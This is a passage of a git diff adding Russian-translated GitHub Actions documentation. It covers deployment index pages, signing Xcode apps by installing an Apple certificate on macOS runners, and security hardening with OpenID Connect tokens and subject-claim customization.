/deploying-to-amazon-elastic-container-service + - /deploying-to-azure + - /deploying-to-google-kubernetes-engine +ms.openlocfilehash: e56ba9477622f822094e1c5a672dc3da21dd0d46 +ms.sourcegitcommit: 7b86410fc3bc9fecf0cb71dda4c7d2f0da745b85 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/05/2022 +ms.locfileid: '148009980' +--- + diff --git a/translations/ru-RU/content/actions/deployment/deploying-xcode-applications/index.md b/translations/ru-RU/content/actions/deployment/deploying-xcode-applications/index.md new file mode 100644 index 000000000000..4c7fe93a7c65 --- /dev/null +++ b/translations/ru-RU/content/actions/deployment/deploying-xcode-applications/index.md @@ -0,0 +1,19 @@ +--- +title: Развертывание приложений Xcode +shortTitle: Deploy Xcode applications +intro: 'Вы можете подписать приложения Xcode в ходе рабочего процесса непрерывной интеграции (CI), установив сертификат подписи кода Apple в {% data variables.product.prodname_actions %}.' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +children: + - /installing-an-apple-certificate-on-macos-runners-for-xcode-development +ms.openlocfilehash: 079b699b1790d2c7a305bc598662a0309bc9452c +ms.sourcegitcommit: 7b86410fc3bc9fecf0cb71dda4c7d2f0da745b85 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/05/2022 +ms.locfileid: '148009979' +--- + diff --git a/translations/ru-RU/content/actions/deployment/deploying-xcode-applications/installing-an-apple-certificate-on-macos-runners-for-xcode-development.md b/translations/ru-RU/content/actions/deployment/deploying-xcode-applications/installing-an-apple-certificate-on-macos-runners-for-xcode-development.md new file mode 100644 index 000000000000..1c0a02692a49 --- /dev/null +++ b/translations/ru-RU/content/actions/deployment/deploying-xcode-applications/installing-an-apple-certificate-on-macos-runners-for-xcode-development.md @@ -0,0 +1,140 @@ +--- +title: Установка сертификата Apple в средствах выполнения macOS для разработки в Xcode +shortTitle: Sign Xcode applications +intro: 'Вы можете подписать приложения Xcode в ходе рабочего процесса непрерывной интеграции (CI), установив сертификат подписи кода Apple в {% data variables.product.prodname_actions %}.' +redirect_from: + - /actions/guides/installing-an-apple-certificate-on-macos-runners-for-xcode-development + - /actions/deployment/installing-an-apple-certificate-on-macos-runners-for-xcode-development +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +type: tutorial +topics: + - CI + - Xcode +ms.openlocfilehash: f95de8998d067fcae3829f8f4137c86fdeb92212 +ms.sourcegitcommit: 7b86410fc3bc9fecf0cb71dda4c7d2f0da745b85 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/05/2022 +ms.locfileid: '148010015' +--- +{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} + +## Введение + +В этом руководстве показано, как добавить в рабочий процесс непрерывной интеграции (CI) этап, на котором в средствах выполнения {% data variables.product.prodname_actions %} устанавливаются сертификат подписывания кода Apple и профиль обеспечения. Это позволит подписывать приложения Xcode для публикации в Apple App Store или распространения в тестовых группах. + +## Предварительные требования + +Требуются знания YAML и синтаксиса {% data variables.product.prodname_actions %}. Дополнительные сведения можно найти в разделе + +- «[Сведения о {% data variables.product.prodname_actions %}](/actions/learn-github-actions)» +- [Синтаксис рабочего процесса для {% data variables.product.prodname_actions %}](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions) + +У вас должно быть представление о создании и подписывании приложений в Xcode. Дополнительные сведения см. в [документации Apple для разработчиков](https://developer.apple.com/documentation/). + +## Создание секретов для сертификата и профиля обеспечения + +Процесс подписывания включает сохранение сертификатов и профилей обеспечения, их передачу в средство выполнения, импорт в цепочку ключей средства выполнения и использование при сборке. + +Для применения сертификата и профиля обеспечения в средстве выполнения настоятельно рекомендуется использовать секреты {% data variables.product.prodname_dotcom %}. Дополнительные сведения о создании секретов и их использовании в рабочем процессе см. в разделе [Зашифрованные секреты](/actions/reference/encrypted-secrets). + +Создайте секреты в репозитории или организации для перечисленных ниже элементов. + +* Сертификат для подписи Apple. + + - Это ваш файл сертификата `p12`. Дополнительные сведения об экспорте сертификата для подписи из Xcode см. в [документации по Xcode](https://help.apple.com/xcode/mac/current/#/dev154b28f09). + + - При сохранении сертификата в качестве секрета необходимо преобразовать его в формат Base64. В этом примере секрет называется `BUILD_CERTIFICATE_BASE64`. + + - Чтобы преобразовать сертификат в формат Base64 и скопировать его в буфер обмена, используйте следующую команду: + + ```shell + base64 BUILD_CERTIFICATE.p12 | pbcopy + ``` +* Пароль сертификата для подписи Apple. + - В этом примере секрет называется `P12_PASSWORD`. + +* Профиль обеспечения Apple. + + - Дополнительные сведения об экспорте профиля обеспечения из Xcode см. в [документации по Xcode](https://help.apple.com/xcode/mac/current/#/deva899b4fe5). + + - При сохранении профиля обеспечения в качестве секрета необходимо преобразовать его в формат Base64. В этом примере секрет называется `BUILD_PROVISION_PROFILE_BASE64`. + + - Чтобы преобразовать профиль обеспечения в формат Base64 и скопировать его в буфер обмена, используйте следующую команду: + + ```shell + base64 PROVISIONING_PROFILE.mobileprovision | pbcopy + ``` + +* Пароль цепочки ключей. + + - В средстве выполнения будет создана новая цепочка ключей, поэтому ее паролем может быть любая новая случайная строка. В этом примере секрет называется `KEYCHAIN_PASSWORD`. + +## Добавьте этап в рабочий процесс. + +В этом примере рабочего процесса включен этап, на котором сертификат Apple и профиль обеспечения импортируются из секретов {% data variables.product.prodname_dotcom %} и устанавливаются в средстве выполнения. + +```yaml{:copy} +name: App build +on: push + +jobs: + build_with_signing: + runs-on: macos-latest + + steps: + - name: Checkout repository + uses: {% data reusables.actions.action-checkout %} + - name: Install the Apple certificate and provisioning profile + env: + BUILD_CERTIFICATE_BASE64: {% raw %}${{ secrets.BUILD_CERTIFICATE_BASE64 }}{% endraw %} + P12_PASSWORD: {% raw %}${{ secrets.P12_PASSWORD }}{% endraw %} + BUILD_PROVISION_PROFILE_BASE64: {% raw %}${{ secrets.BUILD_PROVISION_PROFILE_BASE64 }}{% endraw %} + KEYCHAIN_PASSWORD: {% raw %}${{ secrets.KEYCHAIN_PASSWORD }}{% endraw %} + run: | + # create variables + CERTIFICATE_PATH=$RUNNER_TEMP/build_certificate.p12 + PP_PATH=$RUNNER_TEMP/build_pp.mobileprovision + KEYCHAIN_PATH=$RUNNER_TEMP/app-signing.keychain-db + + # import certificate and provisioning profile from secrets + echo -n "$BUILD_CERTIFICATE_BASE64" | base64 --decode --output $CERTIFICATE_PATH + echo -n "$BUILD_PROVISION_PROFILE_BASE64" | base64 --decode --output $PP_PATH + + # create temporary keychain + security create-keychain -p "$KEYCHAIN_PASSWORD" $KEYCHAIN_PATH + security set-keychain-settings -lut 21600 $KEYCHAIN_PATH + security unlock-keychain -p "$KEYCHAIN_PASSWORD" $KEYCHAIN_PATH + + # import certificate to keychain + security import $CERTIFICATE_PATH -P "$P12_PASSWORD" -A -t cert -f pkcs12 -k $KEYCHAIN_PATH + security list-keychain -d user -s $KEYCHAIN_PATH + + # apply provisioning profile + mkdir -p ~/Library/MobileDevice/Provisioning\ Profiles + cp $PP_PATH ~/Library/MobileDevice/Provisioning\ Profiles + - name: Build app + ... +``` + +## Обязательная очистка в локальных средствах выполнения + +Размещенные на {% data variables.product.prodname_dotcom %} средства выполнения — это изолированные виртуальные машины, которые автоматически уничтожаются после выполнения задания. Это означает, что сертификаты и профиль обеспечения, используемые в средстве выполнения во время выполнения задания, будут уничтожены вместе со средством выполнения после завершения задания. + +В локальных средствах выполнения каталог `$RUNNER_TEMP` очищается по завершении выполнения задания, но цепочка ключей и профиль обеспечения могут по-прежнему существовать в средстве выполнения. + +Если вы используете локальные средства выполнения, следует добавить последний этап в рабочий процесс, чтобы гарантировать удаление этих конфиденциальных файлов по завершении задания. Примером может служить показанный ниже этап рабочего процесса. + +{% raw %} +```yaml +- name: Clean up keychain and provisioning profile + if: ${{ always() }} + run: | + security delete-keychain $RUNNER_TEMP/app-signing.keychain-db + rm ~/Library/MobileDevice/Provisioning\ Profiles/build_pp.mobileprovision +``` +{% endraw %} diff --git a/translations/ru-RU/content/actions/deployment/index.md b/translations/ru-RU/content/actions/deployment/index.md new file mode 100644 index 000000000000..54f2e16a0f26 --- /dev/null +++ b/translations/ru-RU/content/actions/deployment/index.md @@ -0,0 +1,24 @@ +--- +title: Развертывание +shortTitle: Deployment +intro: 'Автоматическое развертывание проектов с помощью {% data variables.product.prodname_actions %}.' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +children: + - /about-deployments + - /deploying-to-your-cloud-provider + - /security-hardening-your-deployments + - /targeting-different-environments + - /managing-your-deployments + - /deploying-xcode-applications +ms.openlocfilehash: f12dbb4711f43efa6e8a25f0ad274f686d62c654 +ms.sourcegitcommit: 80842b4e4c500daa051eff0ccd7cde91c2d4bb36 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/12/2022 +ms.locfileid: '145088589' +--- + diff --git a/translations/ru-RU/content/actions/deployment/managing-your-deployments/index.md b/translations/ru-RU/content/actions/deployment/managing-your-deployments/index.md new file mode 100644 index 000000000000..bc83059a925b --- /dev/null +++ b/translations/ru-RU/content/actions/deployment/managing-your-deployments/index.md @@ -0,0 +1,19 @@ +--- +title: Управление развертываниями +shortTitle: Manage your deployments +intro: Вы можете просмотреть прошлые действия развертываний. +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +children: + - /viewing-deployment-history +ms.openlocfilehash: 76489b9c2bbbc57605fe1a92bdcc9aa67778157b +ms.sourcegitcommit: 7b86410fc3bc9fecf0cb71dda4c7d2f0da745b85 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/05/2022 +ms.locfileid: '148010019' +--- + diff --git a/translations/ru-RU/content/actions/deployment/managing-your-deployments/viewing-deployment-history.md b/translations/ru-RU/content/actions/deployment/managing-your-deployments/viewing-deployment-history.md new file mode 100644 index 000000000000..c1c36b6a61e6 --- /dev/null +++ b/translations/ru-RU/content/actions/deployment/managing-your-deployments/viewing-deployment-history.md @@ -0,0 +1,29 @@ +--- +title: Viewing deployment history +shortTitle: View deployment history +intro: View current and previous deployments for your repository. +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - API +redirect_from: + - /developers/overview/viewing-deployment-history + - /actions/deployment/viewing-deployment-history +--- + + +You can deliver deployments through {% data variables.product.prodname_actions %} and environments or with the REST API and third party apps. {% ifversion fpt or ghae ghes > 3.0 or ghec %}For more information about using environments to deploy with {% data variables.product.prodname_actions %}, see "[Using environments for deployment](/actions/deployment/using-environments-for-deployment)." {% endif %}For more information about deployments with the REST API, see "[Repositories](/rest/reference/repos#deployments)." + +To view current and past deployments, click **Environments** on the home page of your repository. +{% ifversion ghae %} +![Environments](/assets/images/enterprise/2.22/environments-sidebar.png){% else %} +![Environments](/assets/images/environments-sidebar.png){% endif %} + +The deployments page displays the last active deployment of each environment for your repository. If the deployment includes an environment URL, a **View deployment** button that links to the URL is shown next to the deployment. + +The activity log shows the deployment history for your environments. By default, only the most recent deployment for an environment has an `Active` status; all previously active deployments have an `Inactive` status. For more information on automatic inactivation of deployments, see "[Inactive deployments](/rest/reference/deployments#inactive-deployments)." + +You can also use the REST API to get information about deployments. For more information, see "[Repositories](/rest/reference/repos#deployments)." diff --git a/translations/ru-RU/content/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect.md b/translations/ru-RU/content/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect.md new file mode 100644 index 000000000000..30c0ee676240 --- /dev/null +++ b/translations/ru-RU/content/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect.md @@ -0,0 +1,460 @@ +--- +title: About security hardening with OpenID Connect +shortTitle: Security hardening with OpenID Connect +intro: OpenID Connect allows your workflows to exchange short-lived tokens directly from your cloud provider. +miniTocMaxHeadingLevel: 4 +versions: + fpt: '*' + ghec: '*' + ghes: '>=3.5' +type: tutorial +topics: + - Security +--- + +{% data reusables.actions.enterprise-beta %} +{% data reusables.actions.enterprise-github-hosted-runners %} + +## Overview of OpenID Connect + +{% data variables.product.prodname_actions %} workflows are often designed to access a cloud provider (such as AWS, Azure, GCP, or HashiCorp Vault) in order to deploy software or use the cloud's services. Before the workflow can access these resources, it will supply credentials, such as a password or token, to the cloud provider. These credentials are usually stored as a secret in {% data variables.product.prodname_dotcom %}, and the workflow presents this secret to the cloud provider every time it runs. + +However, using hardcoded secrets requires you to create credentials in the cloud provider and then duplicate them in {% data variables.product.prodname_dotcom %} as a secret. + +With OpenID Connect (OIDC), you can take a different approach by configuring your workflow to request a short-lived access token directly from the cloud provider. Your cloud provider also needs to support OIDC on their end, and you must configure a trust relationship that controls which workflows are able to request the access tokens. Providers that currently support OIDC include Amazon Web Services, Azure, Google Cloud Platform, and HashiCorp Vault, among others. + +### Benefits of using OIDC + +By updating your workflows to use OIDC tokens, you can adopt the following good security practices: + +- **No cloud secrets**: You won't need to duplicate your cloud credentials as long-lived {% data variables.product.prodname_dotcom %} secrets. Instead, you can configure the OIDC trust on your cloud provider, and then update your workflows to request a short-lived access token from the cloud provider through OIDC. +- **Authentication and authorization management**: You have more granular control over how workflows can use credentials, using your cloud provider's authentication (authN) and authorization (authZ) tools to control access to cloud resources. +- **Rotating credentials**: With OIDC, your cloud provider issues a short-lived access token that is only valid for a single job, and then automatically expires. + +### Getting started with OIDC + +The following diagram gives an overview of how {% data variables.product.prodname_dotcom %}'s OIDC provider integrates with your workflows and cloud provider: + +![OIDC diagram](/assets/images/help/images/oidc-architecture.png) + +1. In your cloud provider, create an OIDC trust between your cloud role and your {% data variables.product.prodname_dotcom %} workflow(s) that need access to the cloud. +2. Every time your job runs, {% data variables.product.prodname_dotcom %}'s OIDC Provider auto-generates an OIDC token. This token contains multiple claims to establish a security-hardened and verifiable identity about the specific workflow that is trying to authenticate. +3. You could include a step or action in your job to request this token from {% data variables.product.prodname_dotcom %}'s OIDC provider, and present it to the cloud provider. +4. Once the cloud provider successfully validates the claims presented in the token, it then provides a short-lived cloud access token that is available only for the duration of the job. + +## Configuring the OIDC trust with the cloud + +When you configure your cloud to trust {% data variables.product.prodname_dotcom %}'s OIDC provider, you **must** add conditions that filter incoming requests, so that untrusted repositories or workflows can’t request access tokens for your cloud resources: + +- Before granting an access token, your cloud provider checks that the [`subject`](https://openid.net/specs/openid-connect-core-1_0.html#StandardClaims) and other claims used to set conditions in its trust settings match those in the request's JSON Web Token (JWT). As a result, you must take care to correctly define the _subject_ and other conditions in your cloud provider. +- The OIDC trust configuration steps and the syntax to set conditions for cloud roles (using _Subject_ and other claims) will vary depending on which cloud provider you're using. For some examples, see "[Example subject claims](#example-subject-claims)." + +### Understanding the OIDC token + +Each job requests an OIDC token from {% data variables.product.prodname_dotcom %}'s OIDC provider, which responds with an automatically generated JSON web token (JWT) that is unique for each workflow job where it is generated. When the job runs, the OIDC token is presented to the cloud provider. To validate the token, the cloud provider checks if the OIDC token's subject and other claims are a match for the conditions that were preconfigured on the cloud role's OIDC trust definition. + +The following example OIDC token uses a subject (`sub`) that references a job environment named `prod` in the `octo-org/octo-repo` repository. + +```yaml +{ + "typ": "JWT", + "alg": "RS256", + "x5t": "example-thumbprint", + "kid": "example-key-id" +} +{ + "jti": "example-id", + "sub": "repo:octo-org/octo-repo:environment:prod", + "environment": "prod", + "aud": "{% ifversion ghes %}https://HOSTNAME{% else %}https://github.com{% endif %}/octo-org", + "ref": "refs/heads/main", + "sha": "example-sha", + "repository": "octo-org/octo-repo", + "repository_owner": "octo-org", + "actor_id": "12", + "repository_visibility": private, + "repository_id": "74", + "repository_owner_id": "65", + "run_id": "example-run-id", + "run_number": "10", + "run_attempt": "2", + "actor": "octocat", + "workflow": "example-workflow", + "head_ref": "", + "base_ref": "", + "event_name": "workflow_dispatch", + "ref_type": "branch", + "job_workflow_ref": "octo-org/octo-automation/.github/workflows/oidc.yml@refs/heads/main", + "iss": "{% ifversion ghes %}https://HOSTNAME/_services/token{% else %}https://token.actions.githubusercontent.com{% endif %}", + "nbf": 1632492967, + "exp": 1632493867, + "iat": 1632493567 +} +``` + +To see all the claims supported by {% data variables.product.prodname_dotcom %}'s OIDC provider, review the `claims_supported` entries at +{% ifversion ghes %}`https://HOSTNAME/_services/token/.well-known/openid-configuration`{% else %}https://token.actions.githubusercontent.com/.well-known/openid-configuration{% endif %}. + +The token includes the standard audience, issuer, and subject claims: + +| Claim | Description | +| ----------- | ---------------------- | +| `aud`| _(Audience)_ By default, this is the URL of the repository owner, such as the organization that owns the repository. This is the only claim that can be customized. You can set a custom audience with a toolkit command: [`core.getIDToken(audience)`](https://www.npmjs.com/package/@actions/core/v/1.6.0) | +| `iss`| _(Issuer)_ The issuer of the OIDC token: {% ifversion ghes %}`https://HOSTNAME/_services/token`{% else %}`https://token.actions.githubusercontent.com`{% endif %} | +| `sub`| _(Subject)_ Defines the subject claim that is to be validated by the cloud provider. This setting is essential for making sure that access tokens are only allocated in a predictable way.| + +The OIDC token also includes additional standard claims: + +| Claim | Description | +| ----------- | ---------------------- | +| `alg`| _(Algorithm)_ The algorithm used by the OIDC provider. | +| `exp`| _(Expires at)_ Identifies the expiry time of the JWT. | +| `iat`| _(Issued at)_ The time when the JWT was issued. | +| `jti`| _(JWT token identifier)_ Unique identifier for the OIDC token. | +| `kid`| _(Key identifier)_ Unique key for the OIDC token. | +| `nbf`| _(Not before)_ JWT is not valid for use before this time. | +| `typ`| _(Type)_ Describes the type of token. This is a JSON Web Token (JWT). | + +The token also includes custom claims provided by {% data variables.product.prodname_dotcom %}: + +| Claim | Description | +| ----------- | ---------------------- | +| `actor`| The personal account that initiated the workflow run. | +| `actor_id`| The ID of personal account that initiated the workflow run. | +| `base_ref`| The target branch of the pull request in a workflow run. | +| `environment`| The name of the environment used by the job. | +| `event_name`| The name of the event that triggered the workflow run. | +| `head_ref`| The source branch of the pull request in a workflow run. | +| `job_workflow_ref`| This is the ref path to the reusable workflow used by this job. For more information, see "["Using OpenID Connect with reusable workflows"](/actions/deployment/security-hardening-your-deployments/using-openid-connect-with-reusable-workflows)." | +| `ref`| _(Reference)_ The git ref that triggered the workflow run. | +| `ref_type`| The type of `ref`, for example: "branch". | +| `repository_visibility` | The visibility of the repository where the workflow is running. Accepts the following values: `internal`, `private`, or `public`. | +| `repository`| The repository from where the workflow is running. | +| `repository_id`| The ID of the repository from where the workflow is running. | +| `repository_owner`| The name of the organization in which the `repository` is stored. | +| `repository_owner_id`| The ID of the organization in which the `repository` is stored. | +| `run_id`| The ID of the workflow run that triggered the workflow. | +| `run_number`| The number of times this workflow has been run. | +| `run_attempt`| The number of times this workflow run has been retried. | +| `workflow`| The name of the workflow. | + +### Defining trust conditions on cloud roles using OIDC claims + +With OIDC, a {% data variables.product.prodname_actions %} workflow requires a token in order to access resources in your cloud provider. The workflow requests an access token from your cloud provider, which checks the details presented by the JWT. If the trust configuration in the JWT is a match, your cloud provider responds by issuing a temporary token to the workflow, which can then be used to access resources in your cloud provider. You can configure your cloud provider to only respond to requests that originate from a specific organization's repository; you can also specify additional conditions, described below. + +Audience and Subject claims are typically used in combination while setting conditions on the cloud role/resources to scope its access to the GitHub workflows. +- **Audience**: By default, this value uses the URL of the organization or repository owner. This can be used to set a condition that only the workflows in the specific organization can access the cloud role. +- **Subject**: By default, has a predefined format and is a concatenation of some of the key metadata about the workflow, such as the {% data variables.product.prodname_dotcom %} organization, repository, branch, or associated [`job`](/actions/learn-github-actions/workflow-syntax-for-github-actions#jobsjob_idenvironment) environment. See "[Example subject claims](#example-subject-claims)" to see how the subject claim is assembled from concatenated metadata. + +If you need more granular trust conditions, you can customize the issuer (`iss`) and subject (`sub`) claims that are included with the JWT. For more information, see "[Customizing the token claims](#customizing-the-token-claims)". + +There are also many additional claims supported in the OIDC token that can be used for setting these conditions. In addition, your cloud provider could allow you to assign a role to the access tokens, letting you specify even more granular permissions. + +{% note %} + +**Note**: To control how your cloud provider issues access tokens, you **must** define at least one condition, so that untrusted repositories can’t request access tokens for your cloud resources. + +{% endnote %} + +### Example subject claims + +The following examples demonstrate how to use "Subject" as a condition, and explain how the "Subject" is assembled from concatenated metadata. The [subject](https://openid.net/specs/openid-connect-core-1_0.html#StandardClaims) uses information from the [`job` context](/actions/learn-github-actions/contexts#job-context), and instructs your cloud provider that access token requests may only be granted for requests from workflows running in specific branches, environments. The following sections describe some common subjects you can use. + +#### Filtering for a specific environment + +The subject claim includes the environment name when the job references an environment. + +You can configure a subject that filters for a specific [environment](/actions/deployment/using-environments-for-deployment) name. In this example, the workflow run must have originated from a job that has an environment named `Production`, in a repository named `octo-repo` that is owned by the `octo-org` organization: + +| | | +| ------ | ----------- | +| Syntax: | `repo::environment:` | +| Example:| `repo:octo-org/octo-repo:environment:Production` | + +#### Filtering for `pull_request` events + +The subject claim includes the `pull_request` string when the workflow is triggered by a pull request event, but only if the job doesn't reference an environment. + +You can configure a subject that filters for the [`pull_request`](/actions/learn-github-actions/events-that-trigger-workflows#pull_request) event. In this example, the workflow run must have been triggered by a `pull_request` event in a repository named `octo-repo` that is owned by the `octo-org` organization: + +| | | +| ------ | ----------- | +| Syntax: | `repo::pull_request` | +| Example:| `repo:octo-org/octo-repo:pull_request` | + +#### Filtering for a specific branch + +The subject claim includes the branch name of the workflow, but only if the job doesn't reference an environment, and if the workflow is not triggered by a pull request event. + +You can configure a subject that filters for a specific branch name. In this example, the workflow run must have originated from a branch named `demo-branch`, in a repository named `octo-repo` that is owned by the `octo-org` organization: + +| | | +| ------ | ----------- | +| Syntax: | `repo::ref:refs/heads/branchName` | +| Example:| `repo:octo-org/octo-repo:ref:refs/heads/demo-branch` | + +#### Filtering for a specific tag + +The subject claim includes the tag name of the workflow, but only if the job doesn't reference an environment, and if the workflow is not triggered by a pull request event. + +You can create a subject that filters for specific tag. In this example, the workflow run must have originated with a tag named `demo-tag`, in a repository named `octo-repo` that is owned by the `octo-org` organization: + +| | | +| ------ | ----------- | +| Syntax: | `repo::ref:refs/tags/` | +| Example:| `repo:octo-org/octo-repo:ref:refs/tags/demo-tag` | + +### Configuring the subject in your cloud provider + +To configure the subject in your cloud provider's trust relationship, you must add the subject string to its trust configuration. The following examples demonstrate how various cloud providers can accept the same `repo:octo-org/octo-repo:ref:refs/heads/demo-branch` subject in different ways: + +| | | +| ------ | ----------- | +| Amazon Web Services | `"{% ifversion ghes %}HOSTNAME/_services/token{% else %}token.actions.githubusercontent.com{% endif %}:sub": "repo:octo-org/octo-repo:ref:refs/heads/demo-branch"` | +| Azure| `repo:octo-org/octo-repo:ref:refs/heads/demo-branch` | +| Google Cloud Platform| `(assertion.sub=='repo:octo-org/octo-repo:ref:refs/heads/demo-branch')` | +| HashiCorp Vault| `bound_subject="repo:octo-org/octo-repo:ref:refs/heads/demo-branch" ` | + +For more information, see the guides listed in "[Enabling OpenID Connect for your cloud provider](#enabling-openid-connect-for-your-cloud-provider)." + +## Updating your actions for OIDC + +To update your custom actions to authenticate using OIDC, you can use `getIDToken()` from the Actions toolkit to request a JWT from {% data variables.product.prodname_dotcom %}'s OIDC provider. For more information, see "OIDC Token" in the [npm package documentation](https://www.npmjs.com/package/@actions/core/v/1.6.0). + +You could also use a `curl` command to request the JWT, using the following environment variables: + +| | | +| ------ | ----------- | +| `ACTIONS_ID_TOKEN_REQUEST_URL` | The URL for {% data variables.product.prodname_dotcom %}'s OIDC provider. | +| `ACTIONS_ID_TOKEN_REQUEST_TOKEN` | Bearer token for the request to the OIDC provider. | + + +For example: + +```shell{:copy} +curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" "$ACTIONS_ID_TOKEN_REQUEST_URL&audience=api://AzureADTokenExchange" +``` + +### Adding permissions settings + +{% data reusables.actions.oidc-permissions-token %} + +{% ifversion actions-oidc-hardening-config %} +## Customizing the token claims + +You can security harden your OIDC configuration by customizing the claims that are included with the JWT. These customisations allow you to define more granular trust conditions on your cloud roles when allowing your workflows to access resources hosted in the cloud: + +{% ifversion ghec %} - For an additional layer of security, you can append the `issuer` url with your enterprise slug. This lets you set conditions on the issuer (`iss`) claim, configuring it to only accept JWT tokens from a unique `issuer` URL that must include your enterprise slug.{% endif %} +- You can standardize your OIDC configuration by setting conditions on the subject (`sub`) claim that require JWT tokens to originate from a specific repository, reusable workflow, or other source. +- You can define granular OIDC policies by using additional OIDC token claims, such as `repository_id` and `repository_visibility`. For more information, see "[Understanding the OIDC token](/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect#understanding-the-oidc-token)". + +To customize these claim formats, organization and repository admins can use the REST API endpoints described in the following sections. + +{% ifversion ghec %} + +### Switching to a unique token URL + +By default, the JWT is issued by {% data variables.product.prodname_dotcom %}'s OIDC provider at `https://token.actions.githubusercontent.com`. This path is presented to your cloud provider using the `iss` value in the JWT. + +Enterprise admins can security harden their OIDC configuration by configuring their enterprise to receive tokens from a unique URL at `https://token.actions.githubusercontent.com/`. Replace `` with the slug value of your enterprise. + +This configuration means that your enterprise will receive the OIDC token from a unique URL, and you can then configure your cloud provider to only accept tokens from that URL. This helps ensure that only the enterprise's repositories can access your cloud resources using OIDC. + +To activate this setting for your enterprise, an enterprise admin must use the `/enterprises/{enterprise}/actions/oidc/customization/issuer` endpoint and specify `"include_enterprise_slug": true` in the request body. For more information, see "[Set the {% data variables.product.prodname_actions %} OIDC custom issuer policy for an enterprise](/rest/actions/oidc#set-the-github-actions-oidc-custom-issuer-policy-for-an-enterprise)." + +After this setting is applied, the JWT will contain the updated `iss` value. In the following example, the `iss` key uses `octocat-inc` as its `enterpriseSlug` value: + +```json +{ + "jti": "6f4762ed-0758-4ccb-808d-ee3af5d723a8" + "sub": "repo:octocat-inc/private-server:ref:refs/heads/main" + "aud": "http://octocat-inc.example/octocat-inc" + "enterprise": "octocat-inc" + "iss": "https://token.actions.githubusercontent.com/octocat-inc", + "bf": 1755350653, + "exp": 1755351553, + "iat": 1755351253 +} +``` + +{% endif %} + +### Customizing the subject claims for an organization or repository + +To help improve security, compliance, and standardization, you can customize the standard claims to suit your required access conditions. If your cloud provider supports conditions on subject claims, you can create a condition that checks whether the `sub` value matches the path of the reusable workflow, such as `"job_workflow_ref: "octo-org/octo-automation/.github/workflows/oidc.yml@refs/heads/main""`. The exact format will vary depending on your cloud provider's OIDC configuration. To configure the matching condition on {% data variables.product.prodname_dotcom %}, you can can use the REST API to require that the `sub` claim must always include a specific custom claim, such as `job_workflow_ref`. You can use the [OIDC REST API](/rest/actions/oidc) to apply a customization template for the OIDC subject claim; for example, you can require that the `sub` claim within the OIDC token must always include a specific custom claim, such as `job_workflow_ref`. + +Customizing the claims results in a new format for the entire `sub` claim, which replaces the default predefined `sub` format in the token described in "[Example subject claims](/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect#example-subject-claims)." + +The following example templates demonstrate various ways to customize the subject claim. To configure these settings on {% data variables.product.prodname_dotcom %}, admins use the REST API to specify a list of claims that must be included in the subject (`sub`) claim. + +{% data reusables.actions.use-request-body-api %} + +To customize your subject claims, you should first create a matching condition in your cloud provider's OIDC configuration, before customizing the configuration using the REST API. Once the configuration is completed, each time a new job runs, the OIDC token generated during that job will follow the new customization template. If the matching condition doesn't exist in the cloud provider's OIDC configuration before the job runs, the generated token might not be accepted by the cloud provider, since the cloud conditions may not be synchronized. + +{% note %} + +**Note**: When the organization template is applied, it will not affect any action workflows in existing repositories that already use OIDC. For existing repositories, as well as any new repositories that are created after the template has been applied, the repository owner will need to opt-in to receive this configuration, or alternatively could apply a different configuration specific to the repo. For more information, see "[Set the customization template for an OIDC subject claim for a repository](/rest/actions/oidc#set-the-customization-template-for-an-oidc-subject-claim-for-a-repository)." + +{% endnote %} + +#### Example: Allowing repository based on visibility and owner + +This example template allows the `sub` claim to have a new format, using `repository_owner` and `repository_visibility`: + +```json +{ + "include_claim_keys": [ + "repository_owner", + "repository_visibility" + ] +} +``` + +In your cloud provider's OIDC configuration, configure the `sub` condition to require that claims must include specific values for `repository_owner` and `repository_visibility`. For example: `"repository_owner: "monalisa":repository_visibility:private"`. The approach lets you restrict cloud role access to only private repositories within an organization or enterprise. + +#### Example: Allowing access to all repositories with a specific owner + +This example template enables the `sub` claim to have a new format with only the value of `repository_owner`. + +{% data reusables.actions.use-request-body-api %} + +```json +{ + "include_claim_keys": [ + "repository_owner" + ] +} + +``` + +In your cloud provider's OIDC configuration, configure the `sub` condition to require that claims must include a specific value for `repository_owner`. For example: `"repository_owner: "monalisa""` + +#### Example: Requiring a reusable workflow + +This example template allows the `sub` claim to have a new format that contains the value of the `job_workflow_ref` claim. This enables an enterprise to use [reusable workflows](/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect#example-subject-claims) to enforce consistent deployments across its organizations and repositories. + +{% data reusables.actions.use-request-body-api %} + +```json + { + "include_claim_keys": [ + "job_workflow_ref" + ] + } +``` + +In your cloud provider's OIDC configuration, configure the `sub` condition to require that claims must include a specific value for `job_workflow_ref`. For example: `"job_workflow_ref: "octo-org/octo-automation/.github/workflows/oidc.yml@refs/heads/main""`. + +#### Example: Requiring a reusable workflow and other claims + +The following example template combines the requirement of a specific reusable workflow with additional claims. + +{% data reusables.actions.use-request-body-api %} + +This example also demonstrates how to use `"context"` to define your conditions. This is the part that follows the repository in the [default `sub` format](/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect#example-subject-claims). For example, when the job references an environment, the context contains: `environment:`. + +```json +{ + "include_claim_keys": [ + "repo", + "context", + "job_workflow_ref" + ] +} +``` + +In your cloud provider's OIDC configuration, configure the `sub` condition to require that claims must include specific values for `repo`, `context`, and `job_workflow_ref`. + +This customization template requires that the `sub` uses the following format: `repo::environment::job_workflow_ref:`. +For example: `"sub": 